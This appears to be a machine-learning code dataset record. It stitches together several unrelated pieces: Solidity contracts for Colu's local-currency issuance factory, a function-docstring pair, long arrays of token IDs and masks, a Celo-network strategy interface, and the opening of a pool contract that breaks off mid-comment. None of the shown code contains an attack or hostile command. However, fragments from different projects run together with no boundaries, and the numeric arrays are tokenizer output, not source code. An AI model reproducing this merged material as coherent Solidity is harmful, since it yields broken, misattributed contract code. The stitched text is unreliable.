}
/// @dev normal send cc to the market maker contract, sender must approve() before calling method. can only be called by owner
/// @dev sending CC will return CLN from the reserve to the sender.
/// @param _token address address of the cc token managed by this factory.
/// @param _ccAmount uint256 amount of CC to transfer into the Market Maker reserve.
function extractCLNfromMarketMaker(address _token,
uint256 _ccAmount) public
tokenIssuerOnly(_token, msg.sender)
returns (uint256 _clnTokenAmount) {
address marketMakerAddress = getMarketMakerAddressFromToken(_token);
require(ERC20(_token).transferFrom(msg.sender, this, _ccAmount));
require(ERC20(_token).approve(marketMakerAddress, _ccAmount));
_clnTokenAmount = IEllipseMarketMaker(marketMakerAddress).change(_token, _ccAmount, clnAddress);
require(ERC20(clnAddress).transfer(msg.sender, _clnTokenAmount));
}
/// @dev ERC223 transferAndCall, send CC to the market maker contract can only be called by owner (see MarketMaker)
/// @dev sending CC will return CLN from the reserve to the sender.
function extractCLNfromMarketMaker() public
tokenPayable
tokenIssuerOnly(msg.sender, tkn.sender)
returns (uint256 _clnTokenAmount) {
address marketMakerAddress = getMarketMakerAddressFromToken(msg.sender);
require(ERC20(msg.sender).approve(marketMakerAddress, tkn.value));
_clnTokenAmount = IEllipseMarketMaker(marketMakerAddress).change(msg.sender, tkn.value, clnAddress);
require(ERC20(clnAddress).transfer(tkn.sender, _clnTokenAmount));
}
/// @dev opens the Market Maker to recvice transactions from all sources.
/// @dev Request to transfer ownership of Market Maker contract to Owner instead of factory.
/// @param _token address address of the cc token managed by this factory.
function openMarket(address _token) public
tokenIssuerOnly(_token, msg.sender)
returns (bool) {
address marketMakerAddress = getMarketMakerAddressFromToken(_token);
require(MarketMaker(marketMakerAddress).openForPublicTrade());
Ownable(marketMakerAddress).requestOwnershipTransfer(msg.sender);
MarketOpen(marketMakerAddress);
return true;
}
/// @dev implementation for standard 223 reciver.
/// @param _token address of the token used with transferAndCall.
function supportsToken(address _token) public constant returns (bool) {
return (clnAddress == _token || currencyMap[_token].totalSupply > 0);
}
/// @dev helper function to get the market maker address form token
/// @param _token address of the token used with transferAndCall.
function getMarketMakerAddressFromToken(address _token) public constant returns (address _marketMakerAddress) {
_marketMakerAddress = currencyMap[_token].mmAddress;
require(_marketMakerAddress != address(0));
}
}
/**
* The IssuanceFactory creates an issuance contract that accepts on one side CLN
* locks then up in an elipse market maker up to the supplied softcap
* and returns a CC token based on price that is derived form the two supplies and reserves of each
*/
/// @title Colu Issuance factoy with CLN for CC tokens.
/// @author Rotem Lev.
contract IssuanceFactory is CurrencyFactory {
using SafeMath for uint256;
uint256 public PRECISION;
struct IssuanceStruct {
uint256 hardcap;
uint256 reserve;
uint256 startTime;
uint256 endTime;
uint256 targetPrice;
uint256 clnRaised;
}
uint256 public totalCLNcustodian;
//map of Market Maker owners
mapping (address => IssuanceStruct) public issueMap;
// total supply of CLN
uint256 public CLNTotalSupply;
event CLNRaised(address indexed token, address indexed participant, uint256 amount);
event CLNRefunded(address indexed token, address indexed participant, uint256 amount);
event SaleFinalized(address indexed token, uint256 clnRaised);
// sale has begun based on time and status
modifier saleOpen(address _token) {
require(now >= issueMap[_token].startTime && issueMap[_token].endTime >= now);
require(issueMap[_token].clnRaised < issueMap[_token].hardcap);
_;
}
// sale is passed its endtime
modifier hasEnded(address _token) {
require(issueMap[_token].endTime < now);
_;
}
// sale considered successful when it raised equal to or more than the softcap
modifier saleWasSuccessfull(address _token) {
require(issueMap[_token].clnRaised >= issueMap[_token].reserve);
_;
}
// sale considerd failed when it raised less than the softcap
modifier saleHasFailed(address _token) {
require(issueMap[_token].clnRaised < issueMap[_token].reserve);
_;
}
// checks if the instance of market maker contract is closed for public
modifier marketClosed(address _token) {
require(!MarketMaker(currencyMap[_token].mmAddress).isOpenForPublic());
_;
}
/// @dev constructor
/// @param _mmLib address for the deployed elipse market maker contract
/// @param _clnAddress address for the deployed CLN ERC20 token
function IssuanceFactory(address _mmLib, address _clnAddress) public CurrencyFactory(_mmLib, _clnAddress) {
CLNTotalSupply = ERC20(_clnAddress).totalSupply();
PRECISION = IEllipseMarketMaker(_mmLib).PRECISION();
}
/// @dev createIssuance create local currency issuance sale
/// @param _startTime uint256 blocktime for sale start
/// @param _durationTime uint 256 duration of the sale
/// @param _hardcap uint CLN hardcap for issuance
/// @param _reserveAmount uint CLN reserve ammount
/// @param _name string name of the token
/// @param _symbol string symbol of the token
/// @param _decimals uint8 ERC20 decimals of local currency
/// @param _totalSupply uint total supply of the local currency
function createIssuance( uint256 _startTime,
uint256 _durationTime,
uint256 _hardcap,
uint256 _reserveAmount,
string _name,
string _symbol,
uint8 _decimals,
uint256 _totalSupply) public
returns (address) {
require(_startTime > now);
require(_durationTime > 0);
require(_hardcap > 0);
uint256 R2 = IEllipseMarketMaker(mmLibAddress).calcReserve(_reserveAmount, CLNTotalSupply, _totalSupply);
uint256 targetPrice = IEllipseMarketMaker(mmLibAddress).getPrice(_reserveAmount, R2, CLNTotalSupply, _totalSupply);
require(isValidIssuance(_hardcap, targetPrice, _totalSupply, R2));
address tokenAddress = super.createCurrency(_name, _symbol, _decimals, _totalSupply);
addToMap(tokenAddress, _startTime, _startTime + _durationTime, _hardcap, _reserveAmount, targetPrice);
return tokenAddress;
}
/// @dev internal helper to add currency data to the issuance map
/// @param _token address token address for this issuance (same as CC adress)
/// @param _startTime uint256 blocktime for sale start
/// @param _endTime uint256 blocktime for sale end
/// @param _hardcap uint256 sale hardcap
/// @param _reserveAmount uint256 sale softcap
/// @param _targetPrice uint256 sale CC price per CLN if it were to pass the softcap
function addToMap(address _token,
uint256 _startTime,
uint256 _endTime,
uint256 _hardcap,
uint256 _reserveAmount,
uint256 _targetPrice) private {
issueMap[_token] = IssuanceStruct({ hardcap: _hardcap,
reserve: _reserveAmount,
startTime: _startTime,
endTime: _endTime,
clnRaised: 0,
targetPrice: _targetPrice});
}
/// @dev participate in the issuance of the local currency
/// @param _token address token address for this issuance (same as CC adress)
/// @param _clnAmount uint256 amount of CLN to try and participate
/// @return releaseAmount uint ammount of CC tokens released and transfered to sender
function participate(address _token,
uint256 _clnAmount) public
saleOpen(_token)
returns (uint256 releaseAmount) {
require(_clnAmount > 0);
address marketMakerAddress = getMarketMakerAddressFromToken(_token);
// how much do we need to actually send to market maker of the incomming amount
// and how much of the amount can participate
uint256 transferToReserveAmount;
uint256 participationAmount;
(transferToReserveAmount, participationAmount) = getParticipationAmounts(_clnAmount, _token);
// send what we need to the market maker for reserve
require(ERC20(clnAddress).transferFrom(msg.sender, this, participationAmount));
approveAndChange(clnAddress, _token, transferToReserveAmount, marketMakerAddress);
// pay back to participant with the participated amount * price
releaseAmount = participationAmount.mul(issueMap[_token].targetPrice).div(PRECISION);
issueMap[_token].clnRaised = issueMap[_token].clnRaised.add(participationAmount);
totalCLNcustodian = totalCLNcustodian.add(participationAmount);
CLNRaised(_token, msg.sender, participationAmount);
require(ERC20(_token).transfer(msg.sender, releaseAmount));
}
/// @dev Participate in the CLN based issuance (for contract)
/// @param _token address token address for this issuance (same as CC adress)
function participate(address _token)
public
tokenPayable
saleOpen(_token)
returns (uint256 releaseAmount) {
require(tkn.value > 0 && msg.sender == clnAddress);
//check if we need to send cln to mm or save it
uint256 transferToReserveAmount;
uint256 participationAmount;
(transferToReserveAmount, participationAmount) = getParticipationAmounts(tkn.value, _token);
address marketMakerAddress = getMarketMakerAddressFromToken(_token);
approveAndChange(clnAddress, _token, transferToReserveAmount, marketMakerAddress);
// transfer only what we need
releaseAmount = participationAmount.mul(issueMap[_token].targetPrice).div(PRECISION);
issueMap[_token].clnRaised = issueMap[_token].clnRaised.add(participationAmount);
totalCLNcustodian = totalCLNcustodian.add(participationAmount);
CLNRaised(_token, tkn.sender, participationAmount);
require(ERC20(_token).transfer(tkn.sender, releaseAmount));
// send CLN change to the participent since its transferAndCall
if (tkn.value > participationAmount)
require(ERC20(clnAddress).transfer(tkn.sender, tkn.value.sub(participationAmount)));
}
/// @dev called by the creator to finish the sale, open the market maker and get his tokens
/// @dev can only be called after the sale end time and if the sale passed the softcap
/// @param _token address token address for this issuance (same as CC adress)
function finalize(address _token) public
tokenIssuerOnly(_token, msg.sender)
hasEnded(_token)
saleWasSuccessfull(_token)
marketClosed(_token)
returns (bool) {
// move all CC and CLN that were raised and not in the reserves to the issuer
address marketMakerAddress = getMarketMakerAddressFromToken(_token);
uint256 clnAmount = issueMap[_token].clnRaised.sub(issueMap[_token].reserve);
totalCLNcustodian = totalCLNcustodian.sub(clnAmount);
uint256 ccAmount = ERC20(_token).balanceOf(this);
// open Market Maker for public trade.
require(MarketMaker(marketMakerAddress).openForPublicTrade());
require(ERC20(_token).transfer(msg.sender, ccAmount));
require(ERC20(clnAddress).transfer(msg.sender, clnAmount));
SaleFinalized(_token, issueMap[_token].clnRaised);
return true;
}
/// @dev Give back CC and get a refund back in CLN,
/// dev can only be called after sale ended and the softcap not reached
/// @param _token address token address for this issuance (same as CC adress)
/// @param _ccAmount uint256 amount of CC to try and refund
function refund(address _token,
uint256 _ccAmount) public
hasEnded(_token)
saleHasFailed(_token)
marketClosed(_token)
returns (bool) {
require(_ccAmount > 0);
// exchange CC for CLN throuh Market Maker
address marketMakerAddress = getMarketMakerAddressFromToken(_token);
require(ERC20(_token).transferFrom(msg.sender, this, _ccAmount));
uint256 factoryCCAmount = ERC20(_token).balanceOf(this);
require(ERC20(_token).approve(marketMakerAddress, factoryCCAmount));
require(MarketMaker(marketMakerAddress).change(_token, factoryCCAmount, clnAddress) > 0);
uint256 returnAmount = _ccAmount.mul(PRECISION).div(issueMap[_token].targetPrice);
issueMap[_token].clnRaised = issueMap[_token].clnRaised.sub(returnAmount);
totalCLNcustodian = totalCLNcustodian.sub(returnAmount);
CLNRefunded(_token, msg.sender, returnAmount);
require(ERC20(clnAddress).transfer(msg.sender, returnAmount));
return true;
}
/// @dev Give back CC and get a refund back in CLN,
/// dev can only be called after sale ended and the softcap not
function refund() public
tokenPayable
hasEnded(msg.sender)
saleHasFailed(msg.sender)
marketClosed(msg.sender)
returns (bool) {
require(tkn.value > 0);
// if we have CC time to thorw it to the Market Maker
address marketMakerAddress = getMarketMakerAddressFromToken(msg.sender);
uint256 factoryCCAmount = ERC20(msg.sender).balanceOf(this);
require(ERC20(msg.sender).approve(marketMakerAddress, factoryCCAmount));
require(MarketMaker(marketMakerAddress).change(msg.sender, factoryCCAmount, clnAddress) > 0);
uint256 returnAmount = tkn.value.mul(PRECISION).div(issueMap[msg.sender].targetPrice);
issueMap[msg.sender].clnRaised = issueMap[msg.sender].clnRaised.sub(returnAmount);
totalCLNcustodian = totalCLNcustodian.sub(returnAmount);
CLNRefunded(msg.sender, tkn.sender, returnAmount);
require(ERC20(clnAddress).transfer(tkn.sender, returnAmount));
return true;
}
/// @dev normal send cln to the market maker contract, sender must approve() before calling method. can only be called by owner
/// @dev sending CLN will return CC from the reserve to the sender.
function insertCLNtoMarketMaker(address, uint256) public returns (uint256) {
require(false);
return 0;
}
/// @dev ERC223 transferAndCall, send cln to the market maker contract can only be called by owner (see MarketMaker)
/// @dev sending CLN will return CC from the reserve to the sender.
function insertCLNtoMarketMaker(address) public returns (uint256) {
require(false);
return 0;
}
/// @dev normal send CC to the market maker contract, sender must approve() before calling method. can only be called by owner
/// @dev sending CC will return CLN from the reserve to the sender.
function extractCLNfromMarketMaker(address, uint256) public returns (uint256) {
require(false);
return 0;
}
/// @dev ERC223 transferAndCall, send CC to the market maker contract can only be called by owner (see MarketMaker)
/// @dev sending CC will return CLN from the reserve to the sender.
function extractCLNfromMarketMaker() public returns (uint256) {
require(false);
return 0;
}
/// @dev opens the Market Maker to recvice transactions from all sources.
/// @dev Request to transfer ownership of Market Maker contract to Owner instead of factory.
function openMarket(address) public returns (bool) {
require(false);
return false;
}
/// @dev checks if the parameters that were sent to the create are valid for a promised price and buyback
/// @param _hardcap uint256 CLN hardcap for issuance
/// @param _price uint256 computed through the market maker using the supplies and reserves
/// @param _S2 uint256 supply of the CC token
/// @param _R2 uint256 reserve of the CC token
function isValidIssuance(uint256 _hardcap,
uint256 _price,
uint256 _S2,
uint256 _R2) public view
returns (bool) {
return (_S2 > _R2 && _S2.sub(_R2).mul(PRECISION) >= _hardcap.mul(_price));
}
/// @dev helper function to fetch market maker contract address deploed with the CC
/// @param _token address token address for this issuance (same as CC adress)
function getMarketMakerAddressFromToken(address _token) public constant returns (address) {
return currencyMap[_token].mmAddress;
}
/// @dev helper function to approve tokens for market maker and then change tokens
/// @param _token address deployed ERC20 token address to spend
/// @param _token2 address deployed ERC20 token address to buy
/// @param _amount uint256 amount of _token to spend
/// @param _marketMakerAddress address for the deploed market maker with this CC
function approveAndChange(address _token,
address _token2,
uint256 _amount,
address _marketMakerAddress) private
returns (uint256) {
if (_amount > 0) {
require(ERC20(_token).approve(_marketMakerAddress, _amount));
return MarketMaker(_marketMakerAddress).change(_token, _amount, _token2);
}
return 0;
}
/// @dev helper function participation with CLN
/// @dev returns the amount to send to reserve and amount to participate
/// @param _clnAmount amount of cln the user wants to participate with
/// @param _token address token address for this issuance (same as CC adress)
/// @return {
/// "transferToReserveAmount": ammount of CLN to transfer to reserves
/// "participationAmount": ammount of CLN that the sender will participate with in the sale
///}
function getParticipationAmounts(uint256 _clnAmount,
address _token) private view
returns (uint256 transferToReserveAmount, uint256 participationAmount) {
uint256 clnRaised = issueMap[_token].clnRaised;
uint256 reserve = issueMap[_token].reserve;
uint256 hardcap = issueMap[_token].hardcap;
participationAmount = SafeMath.min256(_clnAmount, hardcap.sub(clnRaised));
if (reserve > clnRaised) {
transferToReserveAmount = SafeMath.min256(participationAmount, reserve.sub(clnRaised));
}
}
/// @dev Returns total number of issuances after filters are applied.
/// @dev this function is gas wasteful so do not call this from a state changing transaction
/// @param _pending include pending currency issuances.
/// @param _started include started currency issuances.
/// @param _successful include successful and ended currency issuances.
/// @param _failed include failed and ended currency issuances.
/// @return Total number of currency issuances after filters are applied.
function getIssuanceCount(bool _pending, bool _started, bool _successful, bool _failed)
public
view
returns (uint _count)
{
for (uint i = 0; i < tokens.length; i++) {
IssuanceStruct memory issuance = issueMap[tokens[i]];
if ((_pending && issuance.startTime > now)
|| (_started && now >= issuance.startTime && issuance.endTime >= now && issuance.clnRaised < issuance.hardcap)
|| (_successful && issuance.endTime < now && issuance.clnRaised >= issuance.reserve)
|| (_successful && issuance.endTime >= now && issuance.clnRaised == issuance.hardcap)
|| (_failed && issuance.endTime < now && issuance.clnRaised < issuance.reserve))
_count += 1;
}
}
/// @dev Returns list of issuance ids (allso the token address of the issuance) in defined range after filters are applied.
/// @dev _offset and _limit parameters are intended for pagination
/// @dev this function is gas wasteful so do not call this from a state changing transaction
/// @param _pending include pending currency issuances.
/// @param _started include started currency issuances.
/// @param _successful include successful and ended currency issuances.
/// @param _failed include failed and ended currency issuances.
/// @param _offset index start position of issuance ids array.
/// @param _limit maximum number of issuance ids to return.
/// @return Returns array of token adresses for issuance.
function getIssuanceIds(bool _pending, bool _started, bool _successful, bool _failed, uint _offset, uint _limit)
public
view
returns (address[] _issuanceIds)
{
require(_limit >= 1);
require(_limit <= 100);
_issuanceIds = new address[](_limit);
uint filteredIssuancesCount = 0;
uint retrieveIssuancesCount = 0;
for (uint i = 0; i < tokens.length; i++) {
IssuanceStruct memory issuance = issueMap[tokens[i]];
if ((_pending && issuance.startTime > now)
|| (_started && now >= issuance.startTime && issuance.endTime >= now && issuance.clnRaised < issuance.hardcap)
|| (_successful && issuance.endTime < now && issuance.clnRaised >= issuance.reserve)
|| (_successful && issuance.endTime >= now && issuance.clnRaised == issuance.hardcap)
|| (_failed && issuance.endTime < now && issuance.clnRaised < issuance.reserve))
{
if (filteredIssuancesCount >= _offset) {
_issuanceIds[retrieveIssuancesCount] = tokens[i];
retrieveIssuancesCount += 1;
}
if (retrieveIssuancesCount == _limit) {
return _issuanceIds;
}
filteredIssuancesCount += 1;
}
}
if (retrieveIssuancesCount < _limit) {
address[] memory _issuanceIdsTemp = new address[](retrieveIssuancesCount);
for (i = 0; i < retrieveIssuancesCount; i++) {
_issuanceIdsTemp[i] = _issuanceIds[i];
}
return _issuanceIdsTemp;
}
}
/// @dev Allow the owner to transfer out any accidentally sent ERC20 tokens.
/// @param _tokenAddress address The address of the ERC20 contract.
/// @param _amount uint256 The amount of tokens to be transferred.
function transferAnyERC20Token(address _tokenAddress, uint256 _amount) public onlyOwner returns (bool success) {
if (_tokenAddress == clnAddress) {
uint256 excessCLN = ERC20(clnAddress).balanceOf(this).sub(totalCLNcustodian);
require(excessCLN <= _amount);
}
if (issueMap[_tokenAddress].hardcap > 0) {
require(MarketMaker(currencyMap[_tokenAddress].mmAddress).isOpenForPublic());
}
return ERC20(_tokenAddress).transfer(owner, _amount);
}
}
|
@dev helper function participation with CLN @dev returns the amount to send to reserve and amount to participate @param _clnAmount amount of cln the user wants to participate with @param _token address token address for this issuance (same as CC adress) @return { "transferToReserveAmount": ammount of CLN to transfer to reserves "participationAmount": ammount of CLN that the sender will participate with in the sale}
|
function getParticipationAmounts(uint256 _clnAmount,
address _token) private view
returns (uint256 transferToReserveAmount, uint256 participationAmount) {
uint256 clnRaised = issueMap[_token].clnRaised;
uint256 reserve = issueMap[_token].reserve;
uint256 hardcap = issueMap[_token].hardcap;
participationAmount = SafeMath.min256(_clnAmount, hardcap.sub(clnRaised));
if (reserve > clnRaised) {
transferToReserveAmount = SafeMath.min256(participationAmount, reserve.sub(clnRaised));
}
}
| 1,809,725 |
[
1,
4759,
445,
30891,
367,
598,
14934,
50,
225,
1135,
326,
3844,
358,
1366,
358,
20501,
471,
3844,
358,
30891,
340,
225,
389,
830,
82,
6275,
3844,
434,
927,
82,
326,
729,
14805,
358,
30891,
340,
598,
225,
389,
2316,
1758,
1147,
1758,
364,
333,
3385,
89,
1359,
261,
14307,
487,
16525,
1261,
663,
13,
327,
288,
202,
6,
13866,
774,
607,
6527,
6275,
6877,
2125,
4778,
434,
14934,
50,
358,
7412,
358,
400,
264,
3324,
202,
6,
2680,
24629,
367,
6275,
6877,
2125,
4778,
434,
14934,
50,
716,
326,
5793,
903,
30891,
340,
598,
316,
326,
272,
5349,
97,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
13657,
24629,
367,
6275,
87,
12,
11890,
5034,
389,
830,
82,
6275,
16,
203,
4766,
282,
1758,
389,
2316,
13,
3238,
1476,
203,
4766,
282,
1135,
261,
11890,
5034,
7412,
774,
607,
6527,
6275,
16,
2254,
5034,
30891,
367,
6275,
13,
288,
203,
565,
2254,
5034,
927,
82,
12649,
5918,
273,
5672,
863,
63,
67,
2316,
8009,
830,
82,
12649,
5918,
31,
203,
565,
2254,
5034,
20501,
273,
5672,
863,
63,
67,
2316,
8009,
455,
6527,
31,
203,
565,
2254,
5034,
7877,
5909,
273,
5672,
863,
63,
67,
2316,
8009,
20379,
5909,
31,
203,
565,
30891,
367,
6275,
273,
14060,
10477,
18,
1154,
5034,
24899,
830,
82,
6275,
16,
7877,
5909,
18,
1717,
12,
830,
82,
12649,
5918,
10019,
203,
565,
309,
261,
455,
6527,
405,
927,
82,
12649,
5918,
13,
288,
203,
1377,
7412,
774,
607,
6527,
6275,
273,
14060,
10477,
18,
1154,
5034,
12,
2680,
24629,
367,
6275,
16,
20501,
18,
1717,
12,
830,
82,
12649,
5918,
10019,
203,
565,
289,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/56/0x266F2E665A95516C0E96e6E46246CFbAf99F8FBE/sources/Controller.sol
|
NOTE: must exclude any tokens used in the yield Controller role - withdraw should return to Controller Controller | Vault role - withdraw should always return to Vault Controller | Vault role - withdraw should always return to Vault
|
interface IStrategy {
function want() external view returns (address);
function deposit() external;
function withdraw(address) external;
function withdraw(uint256) external;
function skim() external;
function withdrawAll() external returns (uint256);
function balanceOf() external view returns (uint256);
function withdrawalFee() external view returns (uint256);
}
| 11,333,110 |
[
1,
17857,
30,
1297,
4433,
1281,
2430,
1399,
316,
326,
2824,
6629,
2478,
300,
598,
9446,
1410,
327,
358,
6629,
6629,
571,
17329,
2478,
300,
598,
9446,
1410,
3712,
327,
358,
17329,
6629,
571,
17329,
2478,
300,
598,
9446,
1410,
3712,
327,
358,
17329,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
5831,
467,
4525,
288,
203,
565,
445,
2545,
1435,
3903,
1476,
1135,
261,
2867,
1769,
203,
203,
565,
445,
443,
1724,
1435,
3903,
31,
203,
203,
565,
445,
598,
9446,
12,
2867,
13,
3903,
31,
203,
203,
565,
445,
598,
9446,
12,
11890,
5034,
13,
3903,
31,
203,
203,
565,
445,
4343,
381,
1435,
3903,
31,
203,
203,
565,
445,
598,
9446,
1595,
1435,
3903,
1135,
261,
11890,
5034,
1769,
203,
203,
565,
445,
11013,
951,
1435,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
203,
565,
445,
598,
9446,
287,
14667,
1435,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
203,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
pragma experimental ABIEncoderV2;
//Adapters
import './interfaces/IBaseUbeswapAdapter.sol';
//Interfaces
import './interfaces/IPool.sol';
import './interfaces/ISettings.sol';
import './interfaces/IAddressResolver.sol';
import './interfaces/IAssetHandler.sol';
import './interfaces/IAssetVerifier.sol';
import './interfaces/IVerifier.sol';
import './interfaces/Ubeswap/IStakingRewards.sol';
//Libraries
import "./openzeppelin-solidity/SafeMath.sol";
import "./openzeppelin-solidity/SafeERC20.sol";
contract Pool is IPool {
using SafeMath for uint;
using SafeERC20 for IERC20;
IAddressResolver public ADDRESS_RESOLVER;
string public _name;
uint public _totalSupply;
address public _manager;
uint public _performanceFee; //expressed as %
uint256 public _tokenPriceAtLastFeeMint;
mapping (address => uint) public _balanceOf;
//Asset positions
mapping (uint => address) public _positionKeys;
uint public numberOfPositions;
mapping (address => uint) public positionToIndex; //maps to (index + 1), with index 0 representing position not found
constructor(string memory poolName, uint performanceFee, address manager, IAddressResolver addressResolver) {
_name = poolName;
_manager = manager;
_performanceFee = performanceFee;
ADDRESS_RESOLVER = addressResolver;
_tokenPriceAtLastFeeMint = 10**18;
}
/* ========== VIEWS ========== */
/**
* @dev Returns the name of the pool
* @return string The name of the pool
*/
function name() external view override returns (string memory) {
return _name;
}
/**
* @dev Return the pool manager's address
* @return address Address of the pool's manager
*/
function getManagerAddress() external view override returns (address) {
return _manager;
}
/**
* @dev Returns the USD value of the asset
* @param asset Address of the asset
* @param assetHandlerAddress Address of AssetHandler contract
*/
function getAssetValue(address asset, address assetHandlerAddress) public view override returns (uint) {
require(asset != address(0), "Pool: invalid asset address");
require(assetHandlerAddress != address(0), "Pool: invalid asset handler address");
uint USDperToken = IAssetHandler(assetHandlerAddress).getUSDPrice(asset);
uint numberOfDecimals = IAssetHandler(assetHandlerAddress).getDecimals(asset);
uint balance = IAssetHandler(assetHandlerAddress).getBalance(address(this), asset);
return balance.mul(USDperToken).div(10 ** numberOfDecimals);
}
/**
* @dev Returns the currency address and balance of each position the pool has, as well as the cumulative value
* @return (address[], uint[], uint) Currency address and balance of each position the pool has, and the cumulative value of positions
*/
function getPositionsAndTotal() public view override returns (address[] memory, uint[] memory, uint) {
address assetHandlerAddress = ADDRESS_RESOLVER.getContractAddress("AssetHandler");
address[] memory addresses = new address[](numberOfPositions);
uint[] memory balances = new uint[](numberOfPositions);
uint sum;
//Calculate USD value of each asset
for (uint i = 0; i < numberOfPositions; i++)
{
balances[i] = IAssetHandler(assetHandlerAddress).getBalance(address(this), _positionKeys[i.add(1)]);
addresses[i] = _positionKeys[i.add(1)];
uint numberOfDecimals = IAssetHandler(assetHandlerAddress).getDecimals(_positionKeys[i.add(1)]);
uint USDperToken = IAssetHandler(assetHandlerAddress).getUSDPrice(_positionKeys[i.add(1)]);
uint positionBalanceInUSD = balances[i].mul(USDperToken).div(10 ** numberOfDecimals);
sum = sum.add(positionBalanceInUSD);
}
return (addresses, balances, sum);
}
/**
* @dev Returns the amount of cUSD the pool has to invest
* @return uint Amount of cUSD the pool has available
*/
function getAvailableFunds() public view override returns (uint) {
address assetHandlerAddress = ADDRESS_RESOLVER.getContractAddress("AssetHandler");
address stableCoinAddress = IAssetHandler(assetHandlerAddress).getStableCoinAddress();
return IERC20(stableCoinAddress).balanceOf(address(this));
}
/**
* @dev Returns the value of the pool in USD
* @return uint Value of the pool in USD
*/
function getPoolValue() public view override returns (uint) {
address assetHandlerAddress = ADDRESS_RESOLVER.getContractAddress("AssetHandler");
uint sum = 0;
//Get USD value of each asset
for (uint i = 1; i <= numberOfPositions; i++)
{
sum = sum.add(getAssetValue(_positionKeys[i], assetHandlerAddress));
}
return sum;
}
/**
* @dev Returns the balance of the user in USD
* @return uint Balance of the user in USD
*/
function getUSDBalance(address user) public view override returns (uint) {
require(user != address(0), "Invalid address");
if (_totalSupply == 0)
{
return 0;
}
uint poolValue = getPoolValue();
return poolValue.mul(_balanceOf[user]).div(_totalSupply);
}
/**
* @dev Returns the number of pool tokens the user has
* @param user Address of the user
* @return uint Number of pool tokens the user has
*/
function balanceOf(address user) public view override returns (uint) {
require(user != address(0), "Invalid user address");
return _balanceOf[user];
}
/**
* @dev Returns the total supply of LP tokens in the pool
